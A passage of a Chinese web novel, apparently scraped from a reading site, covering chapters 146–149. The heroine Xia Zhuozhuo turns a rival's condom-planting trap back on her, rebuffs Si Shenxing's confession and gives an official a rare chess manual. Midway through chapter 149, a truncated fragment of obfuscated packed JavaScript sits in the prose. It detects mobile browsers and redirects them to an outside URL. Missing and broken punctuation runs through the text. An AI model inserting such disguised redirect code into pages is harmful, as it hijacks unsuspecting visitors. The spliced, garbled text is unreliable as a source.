夏太太不是虚荣的人只是被冷落久了乍然出现一个愿意跟她说话还很关心她的人她比平时更容易感动。 夏灼灼已然回神。 她看着司慎行脸上的笑容表情慢慢淡下来眼神里满是警告。 她明明跟他说过不要再接近她家里人。 然而司慎行这个向来敏锐的人却像是察觉不到她目光中的警告一般继续跟夏太太攀谈还聊起了过来路上 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司慎行说“好”,随后便离开了。 从始至终,他的眼神都没有落在夏灼灼身上过,仿佛眼里没有她这个人。 夏灼灼心里觉得古怪。 司慎行人一走,夏太太立刻看向夏灼灼:“你们两个,吵架了?” 夏灼灼一噎,条件反射地否认:“没有。” “如果没有,他怎么会半句话都不跟你说,反而跟我这个老太婆聊这么大半天?” “您不是老太婆,您是仙女,仙女是不会老的。” “别故意说好听的岔开话题,你们两个到底是怎么回事?” 夏太太一向是个软和的人,但对于司慎行的事情不知道怎么的,格外坚持,她想岔开话题都失败了。 夏灼灼无奈地说:“妈,你别多想,我跟司慎行本来就不熟,他不跟我说话也很正常。” “不熟?那可未必吧?” “……总之,我们的确没有吵架。” 昨天晚饭,也算不上是吵架。 她只是跟他摊牌说明白了。 夏太太张了张嘴,但到底还是没继续追问了。 只是握住了夏灼灼的手,说:“妈只想告诉你,慎行很好,妈的眼光也一向很准。你或许可以考虑考虑他?” 夏灼灼回握住夏太太的手。 “知人知面不知心,就跟夏琉璃一样,以前你们不是也没发现,她是养不熟的白眼狼吗?” 她不能确定司慎行接近她、接近夏家的其他人,是不是跟党窦之争有关系,或者带着别的目的。 在确认清楚这些之前,她不会对他放下戒备。 当然,她也不会跟他为敌。 主动跟强者成为敌人,不是明智的事。 他们的关系,就到现在为止是最好的。 夏太太噎住。 半晌道:“算了,我说不过你。我拿瓶水给夏管家,让他一会儿结束了,把你准备的礼物带进来。” “好。” 目送夏太太离开,夏灼灼也站了起来,打算随便转转。 坐得久了,她的脚都麻了。 可就在这时,一个打扮精致,浑身香水味的女人找上了她。 第146章 陪我演出戏 夏灼灼本能地蹙眉。 适量的香水会让人心旷神怡但太过浓烈的香味只会让人想作呕。 “夏灼灼。”女人开门见山地说:“你跟我出来一下我有话跟你说。” 命令式的口吻完全不把夏灼灼放在眼里。 满屋子的人都知道夏家母女虽然讨好到了冯太太但是她们已经穷困潦倒到只能送一个自制的蛋糕。 她不需要将夏灼灼放在眼里。 她清楚地看到司慎行只跟夏太太说话并没搭理夏灼灼。 夏灼灼的眉头蹙得更深了眼底有凌厉的光。 “你是谁?” “我是谁不重要我有话要跟你说你跟我走。” 她一把抓住夏灼灼的袖子就要把夏灼灼往外带。 但下一秒夏灼灼一个反手就将女人的手擒住。 动不了。 一动就感觉骨头要被扯断了。 “痛!该死的!你放开我!” “知道痛就赶紧滚。除非你想要我掰断你的手。” “你敢!你们家已经破产了你敢弄断我的手就不会有好果子吃!” 夏灼灼莞尔一笑笑容却让人后背发凉。 下一瞬她用力一扯将女人的脸贴近自己的额头。 用仅有她们两个人能听到的声音说:“你既然知道我家破产了就应该知道光脚的不怕穿鞋的。我反正已经没有什么好失去了多拉一个人下水又有什么关系?” 女人的脸色瞬间变得苍白身子也跟着狠狠一抖。 她吞了口唾沫立刻服软说:“你、你放开我我不用你跟我走了。” “放开你?可以。说说看你叫我出去想干什么?” “我喜欢司先生……刚才看到他跟你们说话我、我心里嫉妒就忍不住来找你了。” “就这样?” “就这样!你放开我吧!我知道错了!真闹出事情来你也不好过。我们就当什么事情都没发生吧。” 夏灼灼顾念这是冯家面无表情地松开了手。 “滚吧!别再出现在我面前!” 女人连连点头转身的刹那脸上显现一抹得意的笑。 虽然吃了点苦头但她的目的已经达成了。 她揉了揉吃痛的手快步离开夏灼灼旁边 杜馨月瞥她一眼问:“许芍药你不是说上卫生间补妆吗?这么快就回来了?” 这女 人不是别人,正是一开始错误引导司慎行是冲着杜馨月过来的那个女人,名叫许芍药。 她知道自己已经在杜馨月心里留下不好的印象,所以找了个办法挽救。 “我不是去补妆,是去办别的事了。” “什么事?” “先不告诉你,给你个惊喜。” 杜馨月拧眉:“你最好别给我惹麻烦。” 杜家从商,哪怕家大业大,但民不与官斗。 他们杜家不会跟任何政界的人闹矛盾。 芍药笑了两声,说:“放心吧,绝对不会给你惹麻烦的。” 听到这保证,杜馨月就懒得跟她再废话了。 多看许芍药一眼,她就能想起,自己一时被这个蠢货误导,误以为司慎行对她有意思的糗事。 …… 夏灼灼的视线一直盯着许芍药的背影,神情若有所思。 这女人,有古怪。 这么快就服软,并且在自己放开她之后,竟然没有大肆叫喊说自己欺负她,而是真的乖乖就离开了。 就好像,只是特意过来找一顿打似的。 夏灼灼双眸微眯,仔细回想从这女人过来,直到离开发生的任何细节。 突然她的手摸向自己的裤子。 裤子里,被塞了东西。 她顿时恍然明白,对方打的是什么主意。 夏灼灼转瞬就恢复了自然的神色,走到冯太太身边,朝冯淮安招了下手。 “安安!” “妈妈,天使姐姐找我。” 冯太太见是夏灼灼,便放心让冯淮安离开自己身边。 冯淮安两条小短腿扑腾着来到夏灼灼旁边。 “天使姐姐,我好无聊。他们说的话我都听不懂,还好你叫我过来啦,不然安安要睡着了。” 夏灼灼莞尔一笑,蹲下身跟冯淮安平视。 “既然安安无聊,那陪姐姐演一出戏,好不好?” “好啊!” …… 两分钟后,冯淮安跑到杜馨月那帮人面前。 “几位阿姨,你们有没有见过我的猫?” 杜馨月几人面色微变。 她们的年纪,居然被叫阿姨了? 不过看在冯淮安是冯邵阳的独子,几人都压下了心底的不满,笑着回应:“没看到。” “它可能跑花园去了,你们有人可以陪我去找找吗?” 杜馨月几人立刻答应。 冯淮安却说:“我的猫很胆小,人多了 它更不会出来了,这位阿姨,你跟我一起去吧。 他说着,一把牵住了许芍药的手。 许芍药下意识想拒绝。 她还有件事没做呢。 可想到自己如果帮冯淮安找到猫,把他哄高兴了,冯家会因此感谢她,便还是答应下来。 “那我们走吧。 两人手牵手,很快去了后花园。 后花园的中间有一个漂亮的玻璃花房,里面种满了漂亮玫瑰。 冯太太当初就是看中了这个玻璃花房,才租下了这里。 许芍药初看一眼,也被惊艳到了。 就在她愣神的一刹那,冯淮安突然惊喜地说:“我找到了。 许芍药忙回过神问:“在哪里? “就在那边! 许芍药看过去,却什么都没看到。 只看到一花园的花。 “哪儿呢? “嘘!你小声点!你吓到它了!我家猫很怕陌生人。 许芍药僵硬地露出一个笑。 “对不起。 心里却厌恶极了冯淮安。 要不是他是冯邵阳的儿子,她才懒得陪他找猫。 换成是普通人的小孩,她早一把将人推开了。 小孩子,最讨人厌了。 “算了,我不跟你生气。冯淮安指了指玻璃花房:“你先进去等我,别发出任何声音,等我抓到了我的猫,我再叫你出来。 许芍药本来就懒得陪一个小破孩找什么猫,当即答应,朝花房走进去。 花房虽然是透明玻璃制的墙,但玫瑰爬了满墙,挡住了她的视线。 因而,她没看到冯淮安在她进去之后,一扭身就回了别墅。 夏灼灼远远看到冯淮安跑回来,便换了副表情,一脸焦急地来到冯太 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“那就等她回来,我问问她吧。” 冯太太却很为夏灼灼着急。 “那么重要的东西,别等了,我陪你一起过去找她吧。” “也好。” 两个大人一个小孩便往后花园去。 其他人见女主人都出去了,忙也跟上。 当然,更多的是出于好奇和八卦。 于是,三个人,变成了一群人,浩浩荡荡往后花园走去。 后花园面积不大,一眼就能望到头,不是能藏人的地方。 唯一能藏人的,就是那间玻璃花房了。 夏灼灼走在最前面,一把推开了玻璃花房的门。 里头的许芍药被突然打开的门吓了一跳,下意识惊呼了一声。 等看清来人之后,许芍药下意识皱眉:“怎么是你?你怎么也来了?” 话音刚落,她看到不只是夏灼灼,几乎全部的宾客都来了。 乌泱泱地待在花园里,像是要捉贼。 她吃了一惊,内心升起不太好的预感。 但她还是很快镇定下来,问:“大家怎么都来了?” 话音刚落,冯淮安从夏灼灼脚边,挤进了玻璃花房。 他环视了一圈,疑惑地问许芍药:“阿姨,跟你一起过来的那个叔叔呢?” 许芍药皱眉:“什么叔叔?我不是跟你一起过来的吗?” “不对啊,还有一个叔叔……就这么一会儿,安安不会记错的。” “你脑子……” 许芍药下意识就想骂人。 可看到外面冯太太就站在门口,只好把话都吞了回去,耐着性子说:“安安,你忘了,你养的猫不是丢了吗?我是来陪你找猫的,哪有什么叔叔啊?” “猫?” 冯淮安露出一脸不解的表情:“我没有养猫啊。妈妈不许我养宠物。” “怎么可能!”许芍药急了。 虽然她弄不清楚是什么状况,可这小孩的异常反应,让她很不安。 她着急地跟冯太太解释:“我真的是跟安安来找他的猫的。” 第147章 名声尽毁 听到许芍药这么说,众人便看向冯太太。 毕竟小孩子忘性大,弄错了也是有可能的。 却见冯太太深深看了许芍药一眼,说:“许小姐,我们家没有猫。安安有哮喘,靠近动物,他就不舒服,不可能主动去找猫。 众人看许芍药的眼神瞬间就变了。 还真是这女人在撒谎。 冯家,根本就没有养猫,冯淮安有哮喘,更不可能养猫。 “这怎么可能?!许芍药厉声说:“他自己跑到我面前,说让我帮她找猫的。 说到这,许芍药想起了杜馨月她们。 她们几个也是听到了的。 “馨月姐! 杜馨月眸色复杂。 她已经很清楚了,这是一个局。 专门用来针对许芍药的一个局。 而且,这件事跟夏灼灼脱不开关系。 但是,她很纠结。 于私,她跟夏灼灼不对付,不可能帮夏灼灼。 于公,这件事冯家也被牵扯进来了,她要是帮了许芍药,就等于站在了冯家的对立面。 这跟她今天来此的目的相悖。 爸妈知道了,也会怪她多事。 只短短两秒间,杜馨月已经进行了权衡利弊。 她开口道:“刚才我没跟你在一起,不知道具体情况是怎么样的,所以没法帮你解释,抱歉。 许芍药倏然瞪大眼睛,不敢置信地望着杜馨月。 “你、你怎么可能不知道情况?当时你明明听到了的!听到是冯淮安让我陪他过来…… 杜馨月直接打断她:“芍药,你不过是出来透口气的,是不是找猫有什么重要的?干嘛纠结这点小事? 这是在帮许芍药。 冯淮安有没有撒谎,不重要。 她只是出来透气的。 许芍药听懂了。 她立马点头:“对,我只是出来透透气……找猫的事情,可能是我弄错了。我今天心情比较混乱,抱歉…… 众人却是脸色各异。 一会儿说冯淮安让她陪着找猫,一会儿又说弄错了。 这前言不搭后语的,必定有猫腻。 夏灼灼在这时候开口:“芍药小姐,你为什么会在这里我不关心。我想问问你,你有没有见过我的项链? 许芍药沉着脸说:“什么项链?我没见过! 冯 淮安孩子气地开口:“阿姨,撒谎是会长长鼻子的。” “我没有撒谎!”许芍药心里恨不得掐死冯淮安,说出来的话,语气非常不客气。 冯太太不满了。 她开口道:“许小姐,安安看到刚才你跟灼灼起了争执,如果是你一时冲动,拿了她的项链,还请你交出来。我相信灼灼大人有大量,是不会怪你的。” 夏灼灼点头。 “只要你把项链还给我,这件事就算过去了。” “我说了!我不知道什么项链!我见都没见过的东西,拿什么还?!” 夏灼灼的目光落在许芍药的外套口袋上。 “那就请你证明自己的清白吧,安安,帮我看看,阿姨的口袋里有没有什么东西吧。” “好的!”冯淮安一点头,就朝许芍药走过去。 他还没开始长个,摸许芍药的口袋,还需要踮着脚尖。 许芍药下意识要把冯淮安推开。 可想到自己的确没拿夏灼灼的项链,身正不怕影子斜,也就忍住了,随冯淮安怎么翻找。 然而下一瞬,冯淮安就从她的口袋里摸出了两样东西。 一样,正是夏灼灼的那条当初认亲时的双鱼吊坠项链。 而另一样…… 冯淮安疑惑地拿在手里端详了一刻,随后把东西举的高高的,问冯太太:“麻麻,这是什么?” 冯太太的表情微僵。 众人的表情也有些尴尬。 因为那四四方方的,像是一次性手套包装的东西,正是……行男女之事的时候,避孕用的……保险套。 “这到底是什么呀?好吃的吗?” 冯淮安一边问,一边要拆开。 冯太太连忙把东西拿了过来。 “这没什么,小孩子不要问。” 说着,她把东西递给了旁边的佣人,随即深恶痛绝地望向许芍药。 “许小姐,你来参加我儿子的生日宴,带这种东西来是什么意思?” 其他人也纷纷用古怪的眼神望着许芍药。 许芍药在看到冯淮安从自己口袋里摸出东西的时候,人已经愣在原地。 她不明白,夏灼灼的项链是什么时候进了她的口袋的? 更不明白,那保险套她明明放到了夏灼灼的口袋里,用来诋毁夏灼灼清白的东西,是在什么时候回到她身上的? 面对冯太太的质问,以及众人看过来的亦或轻鄙、亦或厌恶的目光,她方寸大乱,连一句完整的话都说不出来 ,只是呆呆地立在原地,脸上血色尽失。 她知道,自己完了。 场面一时说不出的凝滞尴尬。 夏灼灼轻飘飘开口。 “冯太太,咱们走吧,反正我已经找到我要的东西了。” 冯太太点头,不忘记对许芍药说: “许小姐,我们冯家不欢迎你这样的人,你走吧!” 说罢,就领着冯淮安离开了。 其他宾客见状,也纷纷跟着离去。 只是每个人眼底都盛满了八卦。 夏灼灼却是一脸的心平气和。 冯淮安说的叔叔、口袋里的保险套、项链,以及许芍药的前言不搭后语,都彻底证实了,许芍药是个撒谎成性的人。 不论冯淮安说的叔叔到底存不存在,那保险套和项链,已经让许芍药有嘴说不清楚了。 许芍药就算不是一个轻浮浪荡的女人,也是一个小偷。 她的名声,彻底地毁了。 但夏灼灼一点也不同情她。 因为这一切,本该是她承受的。 如果不是她及时发现了自己的口袋里被许芍药偷偷放了保险套,那么,唱这出戏的人,就是许芍药。 而名声尽毁的人,会是她。 这都是许芍药作茧自缚。 许芍药被冯家佣人赶了出去。 她被赶走时,骂声连连,说是夏灼灼故意栽赃诬陷她。 可现在,已经没有一个人会相信一个撒谎成性的人了。 毕竟,小孩子可不会撒谎。 而夏灼灼,她丢了项链,是受害者。 许芍药骂夏灼灼,只不过是为了拖夏灼灼下水罢了。 许芍药离开后,客厅很快恢复热闹。 杜馨月悄然来到夏灼灼身边,声音冰冷地 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就算对付她,她也会用光明磊落的办法击败她。 这样,才算赢得漂亮。 夏灼灼深深看了眼杜馨月,突然开口:“你倒是跟我想象中的有点不一样。” “你以为我是跟许芍药一样的人么?” 夏灼灼轻轻一挑眉。 “那天你跟我抢药材,我以为你是不讲道理的人。” 杜馨月面色微沉。 “我爷爷当时危在旦夕,急需那一味药材。别说是你,就算是……就算是司慎行,那药,我也会跟他抢。” 只可惜,最后她没抢过夏灼灼。 而且,她还因为对夏灼灼有意见在先,不愿意相信她就是家里请的神医小姐。 只不过后来爷爷身体好转,她才确信,是自己弄错了。 她是有点任性妄为,脾气也不好,但这不代表她分不清青红皂白。 就比如,现在她已经知道是许芍药想用保险套害夏灼灼在先,就不会觉得,夏灼灼反击的手段恶毒卑劣。 夏灼灼道:“既然是这样,那抢药那件事,就算翻篇了。” 杜馨月面无表情地说:“翻盘不翻盘,我都看你不顺眼。我们两个,八字不合。” 夏灼灼轻轻笑了一声。 “或许吧。不过,出于好心,我提醒你一句,你那个男朋友不是什么好东西,你最好早点跟他断了。” 杜馨月眸光一冷。 “我的男朋友,轮得到你来评价好坏吗?” “我还真轮得到。” “……” “你有时间在这里反驳我,不如去他的老家查一查,或许你会发现一些很有趣的东西。” “你什么意思?” 夏灼灼却不再跟她多说什么,直接转身离开了。 杜馨月望着夏灼灼背影的眸色变深。 片刻后,她拿出手机,拨通了手下的电话。 “你去一趟江泽老家,查一查他。” “大小姐,我要查什么?” “不管是什么,去他老家调查一下他。” “是。” 第148章 告白? 吩咐手下去查江泽老家后,杜馨月头也不回地走了。 杜浩然见状连忙追了上去。 他一把抓住杜馨月的手。 “生日宴还没结束,你这么着急走干什么?冯先生都还没露面呢。” 杜馨月看白痴一样看了杜浩然一眼。 “冯先生不可能露面,没听冯太太说,他水土不服‘病了’吗?” “那也应该等大家都走了之后咱们再走。爸妈让我们过来,就是特意来给冯家示好的。这么早就走了,像什么样子?” 杜馨月深深看了杜浩然一眼。 “你不是在意冯家,你是在意夏灼灼吧?” 被挑破了窗户纸,杜浩然也不生气。 “我跟夏琉璃已经彻底断了,不能追求别人吗?” 杜馨月嗤笑了下。 “你可以追求任何人,但夏灼灼不行。” “为什么?就因为她抢了你的药材?别忘了,她当时跟你抢药材,也是为了救爷爷,你们的目的是一样的。” “这件事早就翻篇了,我只是单纯觉得,你追不到她。” 杜浩然不以为意。 “她的确医术高超,但是夏家现在已经破产,今天送礼物,更是只送了个脸颊的蛋糕。她嫁给我,是高嫁,我爸妈也感激她,嫁给我是最好的选择。” “白痴!” 不说夏灼灼跟司慎行的牵扯,单说夏灼灼的手段,就不是她哥能掌握得了的。 夏灼灼,不简单。 虽然不想承担,但夏灼灼今天这一手,的确让她佩服。 而她哥,除了空有杜家的家世,其他什么都配不上夏灼灼。 杜浩然沉了脸。 “杜馨月,你眼里还有没有我这个大哥?” “是你眼里没有别人,鼠目寸光,太把自己当回事。” 说完这句,杜馨月转身就走了。 杜浩然跟杜馨月吵了这么一架,也没有什么好心情了,没多久也跟冯太太告辞离开了。 而夏灼灼找了个空隙,跟冯太太说清楚了许芍药的事。 冯太太眼底并无意外。 她早就猜到自己儿子也参与了这件事,是夏灼灼授意的。 不然许芍药不会把自己儿子牵扯进来。 虽然心里有一些细微的不高兴,毕竟没有一个母亲愿意自己的儿子被别人利用。 可见夏灼灼主动把事情跟自己坦白,那点不愉快当即就烟消云散了。 “简直恶毒!还好你 聪明,反将了一军。 “冯太太不怪我就好。 冯太太笑了笑,说:“说实话,我刚才是有点不高兴。但是你愿意把这件事告诉我,说明你把我当朋友。 “我很乐意做您的朋友。 冯太太笑意加深。 夏灼灼又说:“安安今天帮了我一个大忙,作为回报,我可以帮他治疗哮喘。 冯太太惊喜地瞪大眼睛。 “哮喘你也能治? “我会尽量。 “那么就麻烦你了。等安安的病治好,我想让安安认你为干妈。不知道你愿不愿意? “我的荣幸。 自此,冯太太跟夏灼灼的关系又亲密了一些。 很快宴席接近尾声,宾客们纷纷道别离开。 夏灼灼和夏太太在冯太太的安排下被留了下来。 冯太太当时觉得有点累,就在车上小憩了一会儿,这会儿回来,又恢复了精神。 当然,同时被留下来的,还有司慎行。 “你们稍等,我上楼叫他下来。冯太太留下这么一句便上楼去了。 夏太太有些紧张。 她今天来这一趟的目的,只是试探冯邵阳的态度。 但事情的发展超出了她预期。 她想着,如果能把冯邵阳拉拢过来是最好不过的了。 只是,夏太太在犹豫了片刻之后,决定让夏灼灼出面说话。 灼灼跟冯家的关系更紧密,她自己来说,反而不太好。 于是夏太太说:“灼灼,我还是觉得有点累,不如…… 话没说完,夏灼灼已经意会。 “妈,你安心回车上休息吧,礼物我帮您交给冯先生。 夏太太点头,起身往外走。 只是心里仍然有些忐忑,不知道自己把这件事交给女儿办,是不是一个正确的决定。 只能赌一把了。 赌赢了,万事大吉,赌输了,看在灼灼救过冯家太太和冯淮安的份上,冯邵阳至少不会去刻意为难夏云海。 只是夏太太一走,客厅里便只剩下了司慎行和夏灼灼。 两人谁也不看谁,像是在赌气。 当然,事实上只有司慎行一个人在赌气。 那天夏灼灼的话,让他烦躁了一个晚上,喝了一整晚的酒。 夏家人的身份,其实不值得他亲自一个一个去讨好。 可他亲自这么做了,换来的,却是夏灼灼的排斥。 总有 种热脸贴冷屁股的感觉。 这样的事,是第一次。 司慎行也有自己的骄傲,他当然也有这个骄傲的资本。 所以今天过来意外看到夏灼灼,他就故意不跟她说话,只跟夏太太聊天。 本来以为夏灼灼心里多少会有点不高兴,毕竟,就算她对自己一点都没有动心,试问谁会喜欢被无视呢? 却没想到,她完全跟个没事人似的。 刚才还缜密地安排了许芍药那一出戏,俨然一点都没有被他影响到。 被影响到心绪的人,唱不了这么一出大戏。 他心里更不高兴了。 于是就算只剩下他们两个人,他也没跟夏灼灼说话,只是一口一口地喝着茶杯里的茶,目不斜视。 他就不信,夏灼灼能憋的住。 但夏灼灼还真憋的住。 甚至,不算是“憋”。 她在凝神静气地思考,一会儿应该怎么跟冯邵阳开口。 这件事马虎不得。 楼上冯太太应该是跟自己的丈夫说起了自己跟儿子被救的经过。 因为两个人都分别被救了,所以一时半会儿也说不完。 时间一分一秒过去,司慎行故意借着再添茶的动作,余光快速瞥了眼夏灼灼。 见她双眸轻轻闭着,一副两耳不闻窗外事的恬静模样。 这一刻,他知道自己输了。 输得很彻底。 或者在更早之前,他就输了。 用情更早、更深的人,注定是输家。 司慎行突然想开了。 他不跟自己闹别扭了。 闹这么一出,对他没有任何好处。 司慎行放下了茶杯,清了清嗓子,借此吸引夏灼灼的注意。 可夏灼灼依旧闭着眼,像是睡着了。 司慎行深吸了一口气,终于开口:“夏灼灼。” 这一声“夏灼灼”,带着明显的无奈。 夏灼灼终于朝他看过去,眼带疑惑。 她是真的没有一丝一毫被 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她斟酌了下字句,带着两分真心说:“我之前经历过一段感情,在感情里,我受了很重的伤。所以,我不想再受伤了。” 这是司慎行第一次听夏灼灼谈起自己的感情。 他表情微怔,没想到夏灼灼之前居然谈过恋爱。 不过也是,她这么优秀,怎么会没人追求? 司慎行薄唇微动,说:“可是不试试,你怎么知道我也会让你受伤?” “或许不会,但也有概率不是吗?” “我可以向你保证,概率为零。” 夏灼灼深深看了司慎行一眼。 眼底满是复杂的光。 她能看出来,司慎行是认真的。 他这个人,平时相处起来很无赖,但认真的时候,看不出任何轻挑。 但最终,她还是说:“抱歉。我不想尝试,我从来不做有风险的事。” “你单枪匹马闯古武堂的时候,怎么不想想会有风险?” “……” “台风那天救冯太太,风险也很大。” 夏灼灼说:“这不一样。” “哪里不一样了?” “我不会在同一个地方跌倒。” “我可以认为,你这是在逃避吗?” “你怎么想都可以。但我们,还是退回到朋友比较好。” 说这话的时候,夏灼灼的心里也有轻微的波澜泛起。 可对暗部的责任感告诉她,她不能再动情了。 单单那一次,已经让暗部受到重创。 她不会再让暗部因为自己陷入危机。 司慎行却突然说:“那如果我能保证百分百无风险,你是不是就愿意尝试了?” “感情的事,怎么可能百分百无风险?人心是会变的。” “别人的心或许会变,但我的心不会。” “人在变心之前都说自己不会变心。” “那你就等着看吧,我会让你心里顾虑的东西,都不再是你会顾虑的。” 夏灼灼眉头轻拧。 司慎行这话是什么意思? 他知道自己在顾虑什么? 难道他已经知道自己的身份了? 夏灼灼正要试探,冯太太下楼了。 第149章 送到心坎上的礼物 冯太太面带笑容下楼。 “你们聊什么呢?聊这么开心? 夏灼灼僵硬一笑。 开心?她跟司慎行,哪里有半点开心的氛围? 司慎行的告白,甚至不像是告白,更像是谈判。 而她,只想试探他知道自己多少。 “就是闲聊。司慎行说着,站起身问:“阳哥怎么说? 冯太太笑道:“他让灼灼上楼,想当面感谢她。灼灼,他在二楼第二间房等你。 “好。 夏灼灼点头,拿上了给冯邵阳的见面礼,往楼上走。 司慎行下意识要跟上去。 他怕夏灼灼一个人应对不了。 而他,比夏灼灼更了解冯邵阳,知道该怎么说。 但冯太太叫住了他。 “慎行,我想跟你聊一聊房子的事。 司慎行只好坐了回去。 冯太太说:“这个房子虽然好,但太多人知道了,邵阳是个不喜欢别人打扰的人,所以,我们想搬回单位安排的房子。那里小是小了点,但是门口配有警卫,住在那里,我们更安心点。 司慎行点头。 “那我派人提前过去帮你们打扫。 “多谢你了,人生地不熟的,还好有你帮我们。 “暖姐客气了。 司慎行有一搭没一搭地应着,思绪全飞到了楼上。 而此时,夏灼灼已经敲响了冯邵阳的房门。 里头很快传来冯邵阳的声音:“请进。 夏灼灼推门进去,就看到一个眉眼锋利的中年男人。 跟冯太太那副人畜无害的样子不同,冯邵阳的凌厉是写在脸上的,一副生人勿近的样子。 夏灼灼仿佛有些明白了,为什么司慎行能跟冯邵阳成为朋友。 他们的气场契合。 只是冯太太也不只是拿冯邵阳身体不适为借口当推脱。 冯邵阳的脸色略有一丝苍白,真是水土不服的模样。 “夏小姐,请喝茶。 冯邵阳为夏灼灼倒了一杯茶,做了个“请的手势。 夏灼灼道谢,坐下后,尝了一口茶。 初尝有点涩味,后味却慢慢回甘。 “这是您自制的吗? 冯邵阳问:“夏小姐还懂茶? “不介意我猜一下里面放了什么吧? “你说。 “肉桂、丁香、玫瑰、陈皮,还有……抱歉,最后一种 我没尝出来。” 冯邵阳哈哈一笑,说:“前面几种你都说对了,最后一种,是苹果干。” 夏灼灼一副很惊喜的样子,哪怕她早就喝出来,里面放了苹果干。 只是两个人不熟的情况下,最好还是藏一点,借此打开话题。 夏灼灼说:“我还是第一次听说在红茶里放苹果干。” “你觉得味道如何?” “很好,我很喜欢。” 冯邵阳一副很高兴的样子。 “我太太说我这是黑暗料理,只有一个朋友认可我,只是想不到居然还能在沪城也找到一个知音。” “我学的中医,平时也爱鼓捣一些花茶。冯先生如果不嫌弃,改天我拿我自制的茶过来给您尝尝。” “那感情好,就是不知道你平时爱喝什么茶?” “跟冯先生一样,爱喝红茶。” 话匣子就此打开。 冯邵阳写在脸上的凌厉也慢慢驱散了去。 虽然夏灼灼是冯家的恩人,但身居高位者,哪怕对方对自己有恩,也有自己的傲气。 他不可能跟自己的太太一样,放下身段对对方感恩戴德。 但共同的爱好拉近了他们之间的距离。 终于,冯邵阳主动提起了夏云海。 “这件事牵扯很广,不仅牵扯了你爸爸,还牵扯了很多政府要员。夏小姐对我们家有恩,按理说,我应该出手帮忙的,但碍于这件事非同小可,所以……我只能在生活上照顾一些。” 夏灼灼点头说:“我理解冯先生的为难。但我爸爸的为人我很清楚,他不是会做出违法乱纪的事的人。我们女人家什么都不懂,只盼着爸爸在里面能吃饱穿暖。您能在生活上照顾一二,我们已经感激不尽了。其他的,就交由法律来判定了。” 冯邵阳深深看了夏灼灼一眼。 “夏小姐这么识大体,我反而觉得很惭愧。你放心吧,你爸爸在里面的生活质量,我一定能保证。” 夏灼灼见火候差不多了,便拿出了自己带来的礼物。 “第一次见冯先生,这是一点见面礼,还请您不要嫌弃。” 冯邵阳扫了眼,并没打开。 楼下的事情他都听说了,夏家已经落魄到只能送一个蛋糕来作为生日礼物,想来也拿不出什么太贵重的东西。 而且,他也不怎么喜欢贵重的东西。 他对物质生活并没有太高的追求。 “夏小姐客气了,你是安安和我太太的救命恩人,该是我给你 送谢礼。 夏灼灼见他没打开,笑道:“冯先生不打开看看吗? 夏灼灼主动开口了,冯邵阳也不好不打开。 只是不抱任何期待。 直到——盒子打开。 里面静静躺着一本象棋古籍,名为《棋中秘》。 冯邵阳的眼睛瞬间就亮了。 比起喝茶,他更爱的,就是象棋。 国际象棋、华国象棋,他都喜欢。 但更喜欢的,还是华国象棋。 而这本《棋中秘》,是从明朝流下来的一本华国象棋棋谱,跟另一本古籍《桃花谱》一起,誉为传世两大象棋谱。 鲜少有人知道,《桃花谱》就在他手里。 他最大的遗憾就是没能收藏到《棋中秘》,这样两大传世棋谱就被他集齐了。 而现在,夏灼灼为他送来了。 就像是口渴的人,正好遇到了一汪甘甜的山泉水。 冯邵阳捧在手里,爱不释手。 这也是夏灼灼所期待和预料到的。 一开始,她不着急拿礼物出来,因为看得出来,冯邵阳对她还有所防备,哪怕心里感激她。 所以后来,她就以“茶 让冯邵阳知道,她不是什么也不懂的小女孩,他可以跟她聊正事。 后来冯邵阳果然主动提起了夏云海。 却说自己只会在生活上帮助夏云海。 ——他中立的心,没有因此动摇。 夏灼灼也预料到了。 如果这么简单就能让冯邵阳站到党系,他就不会到现在还是中立派。 所以夏灼灼投其所好,送了这件礼物。 这礼物,千金难买,且世上只有这一本。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15204474|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >冯邵阳在书皮上摸了又摸,好一会儿,才放下《棋中秘》,眼底的狂喜和好奇几乎要溢出来了。 “夏小姐。 他努力稳住声音,但还是听得出来声线有点颤抖。 “你、你是从哪儿得到的这本《棋中秘》?据我所知,《棋中秘》在棋圣徐一鸣手里…… 他跟徐一鸣打过好几次交道,但对方对此避而不谈,显然这也是他的宝贝,不打算出手。 夏灼灼笑道:“我跟鸣叔是朋友。 不仅是他的朋友,还是他的恩人。 如果不是她,徐一鸣早就死了。 对比性命来说,一本古籍又算得了什么呢? 更何况,徐一鸣还拜了她为师 。 冯邵阳的声音更抖了。 “想不到夏小姐跟一鸣大师是至交。” 如果不是至交,不可能轻易把这本古籍送给她。 夏灼灼笑了笑,说:“可惜我不懂象棋,这本书落在我手里可惜了,不如送给更需要的人。” 冯邵阳的确很需要这本书。 他做官,是继承父母的志愿。 所以他哪怕坐到了这个位置,也保持中立,为的是不想沾染官场上的任何污秽。 成为一名专业棋手,才是他自己的梦想。 他不傻,这么贵重的礼物,夏灼灼不是白送的。 他很想要。 这会让他离梦想更近一步。 可代价,就是得在党窦两派做选择。 他不想选择任何一派,只想做他的清水官,平时没事就钻研自己的兴趣爱好。 可现在……他必须做出选择了。 冯邵阳暗暗收紧手心。 为了维持表面的平静,又拿起茶杯,喝了一杯茶。 片刻后,他抬眼,起身把木匣的盖子合上。 “夏小姐,这礼物太贵重了,我得想想能不能收。还请你先带回去吧。” 他心烦意乱,这种时候,他做不出理智的选择。 所以他需要时间,好好想想。 夏灼灼把木匣子往前一推,说:“那在您想好之前,这东西就先寄存在您这里吧。” “你不怕我偷看,把古籍抄下来?” “我只防小人,不防君子。冯先生是君子。” 人都是爱听好话的。 冯邵阳眼底的凌厉自此已经全部散去。 “请你给我一天的时间。” “好。” 夏灼灼点头,站起身说:“那我就不再打扰了,我等您的消息。” 说完,她像是突然想到什么似的,跟冯邵阳借了纸笔。 片刻后,她写好了一副药方,递给冯邵阳。 “冯先生水土不服,我开的这副药方可以缓解您的不适。” 冯邵阳瞥了眼,上面写了什么“山楂、神曲、半夏、莱菔子”等药材,却没有写克重。 他明白了夏灼灼的意思。 如果他同意了,便打电话,去问夏灼灼药方的克重。 